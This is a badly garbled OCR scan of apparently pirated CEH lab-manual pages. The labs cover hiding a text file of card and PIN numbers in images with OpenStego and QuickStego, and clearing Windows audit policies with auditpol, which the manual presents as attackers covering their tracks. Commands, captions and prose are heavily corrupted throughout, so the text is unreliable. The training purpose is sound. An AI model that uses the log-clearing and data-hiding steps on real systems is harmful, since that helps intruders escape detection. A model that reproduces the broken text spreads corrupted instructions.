FIGLRE 14.5: Instalbegr et

11. In the nexr step of the wizaed, if you are asked to download jawa

maotime etrionment, click Me.

| = OpenStego Setup

Licsaess: Agrossmerd
s feerse terne befors etsling OpsnSheoe. -"%i
Far

Please reuemw

Fresc Pege Down o ses the rest of e sgresment
i Operstego Satup

OpenStego needs lava Rurtime Ermronment (RE| version 1,50 or

! abipee to rum propery.

Wauld you like to downlosd it nowd [Please restart this instelle after

Astalieg lava

[ s ]

FIGLRE 14.4: Installegy DSt
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12, After you click Ne, 2n OpenStege pop-up appears; click OK.

= e —
| B OpenStego Setup

Liairces: Airsmerd
Pleass redes e loense 1eens befors etsling OpsnSheoo. -:'%ﬂy
L =

Presc Page Cown fo ses the rest of the sgreement.
LT DL T L TR |
=i} DpenStego Setup m

install @qen though vou do nat have reqiered wersion of
I lvn installed e don't complein later if & doesn't wor

FIGLRE 145: Installegr Dot

13. In the newt step of the wizard click Install.

=] Openstego Sewp
Cheoas Iretall Location

Chioose the folder i which to instal OpeniSteqo.

Se b verll mstsll OpenStego n the folovang folder. To rstal in & diffenset folder, ciidc Brosese
and eaiect another folder. Clck Iratal te atart #e istalaton.

De=stireybior Folder

Space nequined: 195,068
Spaoe avalsble: 2560

< Back __rml al

FIGURE 146 Installg DpmStam
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14. On completing the installation, click Clese.

DpenStego Setup

15. Mamigate to the Apps screen and click Run OpenStegeo icon to lannch
the applicanion.

PR EE SR D

FIGURE 1&8: Taunching CypesSieg
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16. A Missing Sherteut pop-up appears. Wait untl the Problem with
Sherteut dialog-box opens.

Missing Shortout E

Witrdows i saarching for javaw .ex2. To boate the fie
vaurself, dick Browss

FIGLTRE 14.%: Mineng Sherhast Pop-L

17. A Preblem with Sherteut dialop-box appears, click Fix it

Prablem with Shortcut m

The item ‘javaw.exe that s shortost refers to bas been
changed or moved, so this shortout wil ne onger wars propedy,

Hezrest match based on size, date, and type!

C:'Program Fles | Javaljre 7 ibin'iavaw. exe

Do you want 1o fiw this shortout to point 1o ths erget or do you
|k waant o cedele it

FIGLRE 1400 Probles with Shottcas Diedegr-Box

15. OpenStege man modow appears, as shown i the screenshot:
= N

e Cpsnfiegn
Fil Haip

e Halig Hide data i harmiess looking files

- Vmerags M

O SR S DA A

[P EeE——

FIGLURE 14.11: OpeenSeges Main Window
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Hrask 3 19. Click ellipsis, nnder the Message File section.

Hide the Text Openiacn
Document Using F
Stegansgraphy | Hidde data i harmiess iooking files

Famage Me

: bl WaArrmariang [Baba |

FIGURE 112 Clack the Ellgraas Bubim

20. The Open - Select Message File window appears. Mavigate 1o
ZICEHvY Module 05 System Hacking'Steganegraphy Teelsimage
Steganography TeslsOpenStege, select Hew Text Decumenttut, and
click Open. The text file contains sensitive information such as VISA
and pin mombers.

Cipen - Select Messsae File

Ty 12 Setup-OperGtego-06. e

FIGLURE 14.53: Open - Select Mrisage File Wl
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21. The location of selected file appears in the Message File field

22, Click ellipsis, znder Cover File.

Opsriiiaga

[ viete: diata in marmiess inaking files

wmmags P
= Srwhers Hachin B perography lrags Sagperogrery Dow ez T
I:lJ In toae Drirts Hichegr
sraccle, e iz mther hale
dhes chats (e i s
rrsger or ez the i
e e mogE

: Evgital Walsmarking (Batal |

FIGLUEE 14.14: (Chokiegr the Fllijres: Button

23. The Open - Select Cover File window appears. Narigate to ZWCEHv
Module 05 System Hacking'Steganegraphy TeslsImage
Steganography Tesls'OpenStegs, sclect Island. jpg, and click Open.

Doy - Select Cover File ﬂ

Dpenhego w| o (L

Hend. g

Covver fles (“brg, =gf, “peg, 10, .00, “sbap] «

FHGLRE 1415 Oy - Select Caver Fle Windire
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24 Now, both the Message file and the Cover file are nploaded By
performing stepanography, the messape file will be hidden in the image
file

: Dokl Watermarang |Beta) |

COpentiacs

Hide data i harmiess inoking files
Famage Me

= T rriars Haching WS lmperoge sohe  Drige. Shagerngr gy NOowrS bega e Tok oo

A0 HARAT BRI AR ¢ TR

g A g Thioed oy

FIGLIRE 14. 16 Both the Files are [plosded

. Click ellipsis, nnder Output Stege File

: Evgital Walmrma rking (Buta) |

e L]

Hide data b harmiess icoking fles

Vimage Fis

14.07. Clicheg Elypas Buthom
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26. The Save - Select Output Stege File window appears. Choose a
location whers you waot to save the file. In this lab, the location chosen
is the Desktop

Baee - Select Dutput ":.R'-_-_:_'- File=
Lockm; | Destiop

".‘2; Ht;"'. :.j:«.;:lp
A admin
B This PC
| Erarie=
el Matvsori

e
Aecent Lteme

w

Dkt

Fles of veet crage fles (= ong)

FIGURE 1418 Seve - Selact Chubjrut Shigp Fale Wasdow

27. Prowide the file name stege and click Open

Save - Select Dutput Stegao File
Lockm; | Dastiop

o Hernagroup
4 admir
This PC
L Ereries

Wl Panwnnk

= 1
t.- il e shego

P by

Files of Lyoe: Shege fies (= pngl

FIGLRE 14.1%: Prerndeg File Mame
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. ]
Hrase a

View the Image
Cantaining Hidden
Text
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28. Now, click Hide Data.

COpentiacs
ata Hadug Himde: vt i harmbess ooking ke
& Vamiage Fis
ke P T T S T R T e e m—

e

FEGLRE 1420 Chebing Hule Diufa lastson

29. A Suecess pop-up appears, smnng that the message has been
suceessiully idden Click OK.

Success w

'“ Meszage embedded into 1 Cover Ale(s) Shpped O filedx)

FIGITRE (421 Surtem pop-ug

30. Minimize the OpenStepo window. The imape containing the secret
message appears on the Desktep. Donble-click the image to mew it.

FIGLURE 1422 Tevoge Conbsung, the Secret Mewgs
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31. You will see only the imape but not the contents of the message (texx
file} embedded i it a5 shown mn the screenshot:

=
o ey L

FICAIRE 14.23 Viswing the Trsige
32. Close the Windows Photo Viewe:r, mammite the OpenStege window,
and click Extraet Data in the left pane
Opentiag - “l

Gata Hading Extract hidden data

Ingas Shage Pia

: Dvgitx] Wakmrmarking (Buta) |

FIGLRE 1424 Exractng e Halde D
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33. Click the ellipsis button to the night of the Input Stege File box.
CpenF1800 - E

Extract hidd=n daka

i Siage Mia

Exfruci Daia

Deptal Welmrmarkmg [Beta )

FIGURE 14.25: Chelsing Flires Buttin

34 The Open - Select Input Stege File window opens. Nawigate to
the Desktap, seloct stege.phg, and click Open.

Open - Select Input Stego Fila

e pg

Fliag ol Tvoe: Stago fias (7.pog)

FIGLTRE [426& Chpen - Selecs Topast Shepns Fle Wincders
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3. Click the ellipsis button to the nght of the Qutput Folder for Message
File box.

DperGteg B |

[ Extract hidden daka

It Shage Fin

| Dugttal Watmrmariing (Seta)

FIGLRE 1427 Open - Sefecs Topest Shepns File Winders

36. The Seleet Output Folder for Message File window appears. Choose a
location to save the message file (Desktep), and click Open.

Salect Cutput Folder for Message Rle

: [ Deskiop L

£+ S baera aacien \Deoking

ol 1R | Al Fias

FIGITRE 14.27 Selecs Dhapns Folder fur Message File Wissiow
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37. Click Extract Data This will extract the message file from the image
amd saves it ooto the Deshtop.

> T
- g
Rl Hdp

Eadn Hiding Extract hidden data

- Ireut Saze Pie
Fizw Cadu s

s
Entyect Dty

FIGLTRE 14.2%: Fatrictey Dats

38. The Sueeess pop-up appears, statmp that the messape file bas been
snccessfully extracted from the cover file; and the message file is

displaved on the Deskrop. Click OK

SuCCess

'0 Message file successtully extracted from the Cover hle: Mevr Text Document bd

FIGLERE 14.5% Swccen Pop-Th

38. Close the OpenStego window, and double-click Mew Text
Document.txt.

oy

FIGLIRE 14.31: Openegy the Text Document
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40. The file displays all the mformation comtained in the docoment, as
shown in the screenshor:
TN

Mo TaaT Documraim ar - Riotenad

Rl bRk loman Vies  Hep
VISH: 12w ww wows eaAd

FRGURE 1432 File Cirntining te Sacret Tahiarmrosix
4. In real time, an attacker ompght scan for mmages that contam hidden

mformation and nze stepanopraphy tools to obtin the information
hidden i them

Amatyze and docnoent the resules melated o the Iab exercize

O Yes
Platform Supported
[ Classroom

CEH Lab Munusl] Fage 587 Eshiral Hacldng aml Counsemseanses Copneggt Oy E-lamell

HaCkRhInO-TeaM ! YOuR SeCuiTy iS Not En00gh™ ™ ****"RECRRAMO-TeaM !
WE FrEE t0 FIY




HaCkRhInO-TeaM !

ICOMH KEY

T Valuahle
infiorenatiom

# Testyour

YOuR SeCuiTy iS NOt En0OUgh
el 651 [Efztd® Hatiing HaCkRhInO-TeaM !

Lab

Ouick 55 'zg* hider fect dn pactrires so rhar only orber nsers of Csack Srego can remrieve
and read the hidden secret REERTgE.

Pomogmphy sites are filled with tmages that sometmes change mmltiple ames each
day, requace anthenticanon in some cases 1o access thesr "hetter” ameas of content
and by v hmg stenogmphic technignes, wonld a.'ﬂ.ur an agent to retreve mesiages

_ boowd® o dusic home bases and send back npdates, all 1:1.1.e gmize of “pom toding™

B Wb swarse

L] Warkbock review

Teals
demenstated in
this lak are
availakle in
D=\CEH-

Tools \CEHVI
Madule 85 System
Hacking

Thmmbnals conld be scanned to find one if there aré any new messages for the dar;
once decrypted, these messages wonld point o Lnks on the same ute with the
Emaunme information encrypted.

To be an expert ethical hacker and penetrasion tester, yon st noderstand howr to
hide text in=de an image Tn this Iab, we show howr to do 2o neange Chack Stego.

L ab Objectives

The obypectre of tis Iab is for smdeats to leam howr to hide secret text messages n
amapes nung Cmick Stepo

(!

ab Environment
To perform this lab, von need:
® A computer manme Windows Serves 2012
U Admnestranve perleges to mstll and ma tools

® O dowmload Omuck Stego tool at hrtp:/ / qickerypio. com / free-
steganosmphy-softuare heml

If yon wiish 1o download latest version, the screenshots may differ
Bnn ths tool in Windoos Server 2012
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Lab Duration

Teme: 5 Menntes

Overview of Steganog
Steganopmphy is the art and scence of woting hidden messapes in such a way thar
no one, zpart from the sender and intended mecipient, suspects the exmistence of the
mesmge—a form of secunty theongh obseanty. Steganopraphy inchedes the
concealment of mformanon witkn compoter files In digiml steganosmphy,
electronic comomuveations may inclode stenographic coding hidden m=ide a
transpors biyer, such a5 3 docnment file, image file, program, or protocol

rapny

Lab Tasks
The basic idea in this section is to:

Navigate to DVCEH-TeolsICEHVY Module 05 System

Haezking'Stegahsgraphy Teslsimage Steganography Teals'QuickStege
and doubleclick G5125etup.exe.

Follow the wizand-doven insmllation steps to mstll the apphication.
Setup - Cuick Stego — S =

Welcome to the Quick Stego
Setup Wizard

Thes will instal Guick Stege 1 2 on your computer

K = recommerced thal vou doss Sl other spphcstions befors
cominang

Thok Mend bo comiresa, or Cancel ba axdt Sebup

FIGLRE 151 Wkeras Sereer AH2 - Agps

L!l=| Vems (2 dimarmlio)
B ek Seegeny frem
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3. On completing the mstallation, lannch the Chuck Stego apphication from the

F » s [ prs 1 F
| E—— . f . f
|
| EETET BEETETH | | BT BTN | | EEEETE
- iy S m——— iy — =
| i
| Lpprade

FIGLRE 15.3: Mo winchons of the Ok Sivgy
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Click Open Image, coder Picture, image, Phots file.

Staganogmphy - Ml o Sacret Tedd Mesmas o an image

FICGGURE 154: Doy e avuge

Wawigare vo DRWCEH-Tools'WCEHD Madule 05 System
Hacking Steganegraphy Tools Image Steganeography

TeslsiQuickStege, select the image file 02 nissan_gt+_specv_opt.jpg,
and click Open.

Select A Irage file Ta Open

(2 _ninsan,_gt-r apece_opt ipg

ElSaved Hidden

Text Images -
Jamip fermat enly

E 155 Selectng the evoge
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The selectsd imape s added; it displays the message: THIS IMAGE DOES
HOT HAVE A QUICK STEGO SECRET TEXT MESSAGE.

MuilrkSTege - Seganography - Higs 2 Secret Tew Massage in 2 (mags

FIGLRE L5&: Selrvml wnage s deysbeee)]

To embed text in the imape. click Open Text, noder Text file.

FIGLURE 15.7- Selectec] sext Els
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e 1o IRCEH-Teols'CEHvY Medule 05 System

HackingSteganography ToolsIimage Steganography
TeoolsiOuickStegs, weloct the text file text file.tut, and

Selact Fle 1o Dgen

FIGLRE 158: Selasey the et Ak

10. Selected text will be a in the text box nght next to the image as
shown in the follow eenshot:
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11. Click Hide text, nnder Steganography.

ova el

FIGURE 1510 Huleg the et

13. To save the image {in which the text 15 lIndden), click on Save Image,

) Quick Stege
impereeptibly
alters the pixels
[individual picture
elements) of the
image, encoding
the secret text by
adding small
varatiens in esler
te the image. In
practice, to the
human eye, these
small differenees
de not appear to

FIGITRE 15.11: Siore the
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14, Provide the file name stege, and click Save (save it to the Desktop).

FIGURE 15.13
e fle 15 now saved a Thongh i seems 10 be a normal image
h can be wishle by mewing i i

Qaic

16. Exit Croick Stepo, and re-lmach it from the Apps sereen

17. Click Open Image, noder Picture, Image, Photo File.
Broese the Stege file (on the Deskiop)
The hidden text inside the imape will be displayed a5 shown in following
sereenshot:

FIGLIEE 15 13 Halde bext m
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20. In real time, an attacker mnipht scan for images that comtzin hidden
mformation and nse steganogmaphy tools to obtan the mformation
hsdden i them

Lab Analysis

Amalyze and docnment the resnlts related o the Iab execcize. Grve pons opinion on

TOT tarpet’s secnsity postue and exposmoe.

O ¥es
Platform Supported

¥ Classroom
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Lab

inag. Enabling. and Clearinog
1%y Ilfn;:l-ﬁ..-fli'rf-‘.-_z._; ANnQ wical 'hS:::

licies Using Auditpo
Andta v g wevrvamd m W Sener 2012, Wodms Server X085, aned T andmor Somer
2003, crid &5 reraveed for poerymig or aepiry covlk poky @ e srduzigory keel
ICON KEY - S .
Lab >Ccenarno
! Valmahls " : . . c
et vt In the premions labs yom have seen diffesent steps that artackers take ducng the

system hackme bife cycle. They smn with gaining access to the system, escalanng
privileses, execunng malicon: applicanons, and hiding fles. Howeves, to maintain
thesr access to the tarpet syetem longer and avodd detection, they need to clear any
B weemmie  i5ces of their imemsion Tt is also essenmial t avoid 2 trace back and a poszible
B Wodthook reveer PO e fo h‘l.n:'s.m.g

e of the pomary techniqnes to achisre this goal 15 to manspnlate, disable. or emse
the syztem logs. Onee they have access to the mrpet system, antackers can nse mbmabt
srstem ntiline: to dizable or mmper logmeng and andiing mechanisme i the system

# Test yom
Pl

Lab Objectives
The objective of this lab iz to help smdents learn:

»  How to set the Andi Policies?
vVironiment

' Teels E
densesystratod in To carry oot this lab, yon need:

this lak are = Andipol whach is an built-in command in Windows Serves 2012
availakle in

D:CEH- ' Yom can 168 the MoE anclet oommands
Tools\CEHVS hitp: / /techaet micros 2/en-

Medule 85 System us /hbmer /ee 731451 Y0 8r=—0r 10%420 aspx  fior Windows Server 2012

Haeking v Bna this on Windowrs Server 2012

Lab Duration

Tame: 10 Mhemtes
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Lannch Comonand Prompt from the Windews Server 2012 machme,
To view all the andit policies, type the following command:

auditpel get leategon:*

Press Enter.

Adminstratar Commmand Frommat

poliry slmmysets

Srestome
L = fhe ameiet poliey
2 fl= thme was

K
EIE
[
hi
hi
[
K
Hi
Hi

FITTTE

v XTEF FIF EBFT

Olears the andic palicy.
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g ymmand prompt
auditpel iset ieategery:” system™, acesunt logen™ 'sucsessenable
failurerenakle

Entes.

Admirestratar: Command Prameot

semddtpul Smek Ccatogoegl an'’, Lugen

Ty sxscubad.

command pronpt auditpel [get leategory:
E Enter

t p111
bz ataany

ity Bynteom Exbuns
Spstem Integeity
I1FPeas Dpivep

Failues

iFF Eusnts
Terwear
Claimn

19911 1t1:1 G 1¢11r111
Hand e HMan i lat fon Aol it ing
l":l.ln EhJD" Auditinsg
i} P‘IllfllllF‘l o Audin ing

i Auwd it dmo

Al =

1¢iLtLﬁT

To elear the andit po e
auditpel ielear fy
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Asabigs sy e e

whether andit policies cleared, type the followmng at the command

ALagequiy e

wiic
EBudik

Lah Ml Pag hirea] Haching and Countrmsrassss
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" 1 .
| s Analhveic
b b 'qﬁ ’:\-\:'f- b b

Analbyze and doomment the resnles melated to the lab exercize.

O Yes
Platform Supported

[ Classroom
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